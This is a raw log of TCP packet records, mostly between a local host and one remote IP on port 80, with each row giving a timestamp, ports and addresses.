May 28, 2023 10:42:43.477286100 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.477330923 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.477375031 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.477375984 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.477423906 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.477475882 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.477478027 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.477521896 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.477566957 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.477611065 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.477612019 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.477659941 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.477704048 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.479100943 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.479266882 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.484791040 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.502202988 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.502257109 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.502305984 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.502352953 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.502373934 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.502398968 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.502446890 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.502449989 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.502491951 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.502537012 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.502538919 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.502583027 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.502629042 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.502629042 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.502676010 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.502722025 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.502722025 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.502768993 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.502815008 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.502815962 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.502861023 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.502907038 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.502907038 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.502954006 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.502998114 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.503005028 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.503043890 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.503089905 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.503096104 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.503135920 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.503181934 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.503185034 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.503226995 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.503273010 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.503274918 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.503321886 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.503366947 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.503369093 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.503448009 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.503494024 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.503494978 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.503540039 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.503582954 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.503587008 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.503633022 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.503679037 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.503679991 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.503727913 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.503772020 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.503773928 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.503817081 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.503863096 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.503863096 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.503909111 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.503952980 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.503954887 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.503999949 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.504045010 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.504046917 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.504091024 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.504134893 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.504156113 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.504182100 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.504226923 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.504230976 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.504298925 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.504344940 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.504350901 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.504399061 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.504443884 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.504488945 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.504488945 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.504534006 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.504534960 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.504584074 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.504628897 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.504630089 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.504676104 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.504720926 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.504723072 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.504769087 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.504813910 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.504816055 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.504861116 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.504906893 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.504906893 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.504951954 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.504997015 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.504997969 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.505044937 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.505090952 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.505091906 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.505137920 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.505182981 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.505184889 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.505233049 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.505280018 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.505281925 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.505328894 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.505373955 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.505419016 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.505465031 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.505465031 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.505512953 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.505558014 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.505562067 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.505605936 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.505652905 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.505651951 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.505700111 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.505745888 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.505748987 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.505794048 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.505840063 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.505841970 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.505887985 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.505933046 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.505937099 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.505980015 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.506026030 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.506026030 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.506072044 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.506117105 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.506118059 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.506180048 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.506225109 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.506226063 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.506272078 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.506319046 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.506321907 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.506369114 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.506414890 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.506416082 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.506460905 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.506506920 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.506520987 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.506520987 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.506553888 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.506586075 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.506601095 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.506645918 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.506691933 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.506716013 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.506737947 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.506784916 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.506829977 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.506834984 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.507729053 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.512316942 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.527209997 CEST	49708	443	192.168.2.3	162.0.217.254
May 28, 2023 10:42:43.527272940 CEST	443	49708	162.0.217.254	192.168.2.3
May 28, 2023 10:42:43.531510115 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.531558037 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.531603098 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.531647921 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.531655073 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.531691074 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.531721115 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.531737089 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.531781912 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.531825066 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.531825066 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.531867981 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.531892061 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.531912088 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.531945944 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.531958103 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.532004118 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.532046080 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.532047987 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.532094955 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.532136917 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.532155991 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.532181978 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.532289028 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.532290936 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.532345057 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.532392979 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.532424927 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.532458067 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.532489061 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.532521009 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.532552004 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.532582998 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.532613993 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.532645941 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.532690048 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.532691002 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.532722950 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.532747030 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.532771111 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.532788038 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.532813072 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.532819986 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.532854080 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.532885075 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.532917023 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.532949924 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.532982111 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.533011913 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.533045053 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.533075094 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.533119917 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.533168077 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.533178091 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.533205986 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.533278942 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.533303976 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.533328056 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.533373117 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.533416033 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.533418894 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.533466101 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.533482075 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.533512115 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.533556938 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.533601999 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.533602953 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.533647060 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.533662081 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.533694029 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.533739090 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.533785105 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.533787012 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.533832073 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.533875942 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.533881903 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.533922911 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.533968925 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.533976078 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.534013987 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.534060001 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.534079075 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.534106016 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.534151077 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.534197092 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.534198999 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.534228086 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.534243107 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.534301996 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.534321070 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.534347057 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.534392118 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.534435987 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.534436941 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.534483910 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.534528971 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.534531116 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.534575939 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.534621954 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.534621954 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.534667969 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.534672022 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.534712076 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.534713984 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.534759045 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.534804106 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.534813881 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.534848928 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.534894943 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.534897089 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.534941912 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.534955978 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.534987926 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.535034895 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.535079002 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.535079956 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.535125971 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.535170078 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.535181999 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.535214901 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.535239935 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.535262108 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.535311937 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.535351038 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.535361052 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.535408020 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.535451889 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.535479069 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.535496950 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.535542011 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.535547972 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.535588980 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.535634041 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.535680056 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.535681009 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.535718918 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.535726070 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.535773039 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.535816908 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.535818100 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.535865068 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.535907984 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.535909891 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.535957098 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.536000967 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.536705017 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.560585022 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.560631037 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.560674906 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.560683012 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.560720921 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.560765028 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.560771942 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.560815096 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.560859919 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.560863972 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.560903072 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.560946941 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.560950994 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.560991049 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.561036110 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.561037064 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.561080933 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.561124086 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.561131001 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.561168909 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.561207056 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.561213017 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.561259031 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.561307907 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.561321020 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.561353922 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.561399937 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.561446905 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.561449051 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.561492920 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.561538935 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.561544895 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.561584949 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.561589003 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.561630964 CEST	80	49704	45.9.74.80	192.168.2.3
